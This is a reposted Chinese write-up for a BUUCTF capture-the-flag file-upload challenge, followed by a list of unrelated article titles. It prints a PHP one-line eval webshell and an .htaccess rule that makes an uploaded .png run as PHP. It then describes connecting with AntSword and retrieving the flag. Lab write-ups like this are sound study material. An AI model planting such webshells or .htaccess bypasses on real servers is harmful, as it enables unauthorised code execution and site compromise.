当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[MRCTF2020]你传你[特殊字符]呢1-flag获取、解析

解题思路

打开靶场,左边是艾克,右边是诗人,下面有个文件上传按钮 

结合题目,是一个文件上传漏洞,一键去世看源码可知是提交按钮,先上传个一句话木马.php试试

<?php
eval($_POST['shell']);
?>

被过滤了,更改文件后缀试试

 

上传成功,说明没有检测内容是否为图片,而是检测了后缀和类型,这里尝试更改其他绕过的后缀、如双写绕过、phtml绕过、php5等绕过都失败了,剩下解析漏洞是可以使用的。

创建.htaccess文件,该文件为解析文件,不可加前缀,必须是.htaccess,内容如下

<FilesMatch "eason.png">
SetHandler application/x-httpd-php
</FilesMatch>

将eason.png作为php文件来解析运行

然后将我们上传的一句话木马更改为eason.png

然后用蚁剑连接即可

 比较坑的一个点是路径问题

给的路径是从根目录下的绝对路径

/var/www/html/upload/2c12c739b42851d68808dcf58e8fa253/eason.png

因此我们这里应该使用相对路径,从upload开始才能连接成功哈 

http://e03373b4-086f-48bc-a53b-1146cd081dc1.node5.buuoj.cn:81/upload/2c12c739b42851d68808dcf58e8fa253/eason.png

最终在根目录下获取flag

总结

算是进阶的文件上传漏洞,通过上传解析文件,让webshell执行 

http://www.lryc.cn/news/577189.html

相关文章:

  • FPGA实现CameraLink视频解码转SDI输出,基于LVDS+GTX架构,提供2套工程源码和技术支持
  • AWS 开源 Strands Agents SDK,简化 AI 代理开发流程
  • python:运行时报错 No module named flask
  • CAU数据挖掘 支持向量机
  • Instruct-GPT奖励模型的损失函数与反向传播机制解析
  • Linux 系统管理:高效运维与性能优化
  • C语言之文件操作详解(文件打开关闭、顺序/随机读写)
  • 本地部署OpenHands AI助手,自动化编程提升开发效率
  • 如何提升 iOS App 全链路体验?从启动到退出的优化调试流程
  • Objective-c把字符解析成字典
  • python包管理工具uv VS pip
  • 在Flutter中生成App Bundle并上架Google Play
  • camera调试:安卓添加xml注册
  • 二刷 苍穹外卖day09
  • 【硬核数学 · LLM篇】3.1 Transformer之心:自注意力机制的线性代数解构《从零构建机器学习、深度学习到LLM的数学认知》
  • 借助 Wisdom SSH,实现 Linux 用户组与权限的精细化智能管控
  • DataGrip测试连接时出现报错解决方案
  • 谷歌高调宣布,Gemini 2.5 Pro正式版,绘制常见图表(折线图、柱状图、PPT等),国内直接使用
  • 将 h264+g711a存为 mp4文件,记录
  • uniapp+vue2 ba-tree-picker下拉项多选 树形层级选择器(支持单选、多选、父级选择、映射)
  • SAP月结问题9-FAGLL03H与损益表中研发费用金额不一致(FAGLL03H Bug)
  • 【数据结构中的位运算】
  • 堆排序实现及复杂度分析
  • AWS WebRTC:通过shell分析并发启动master后产生的日志文件
  • 腾讯云空间,高性能显卡云,安装xinference报错,pip install 空间不够用了
  • 大语言模型(LLM)笔记
  • JavaEE-MyBatis-Plus
  • datax-web报错:连接数据库失败. 请检查您的 账号、密码、数据库名称、IP、Port或者向 DBA 寻求帮助(注意网络环境)
  • Flutter插件ios_pod
  • 跨时间潜运动迁移以实现操作中的多帧预测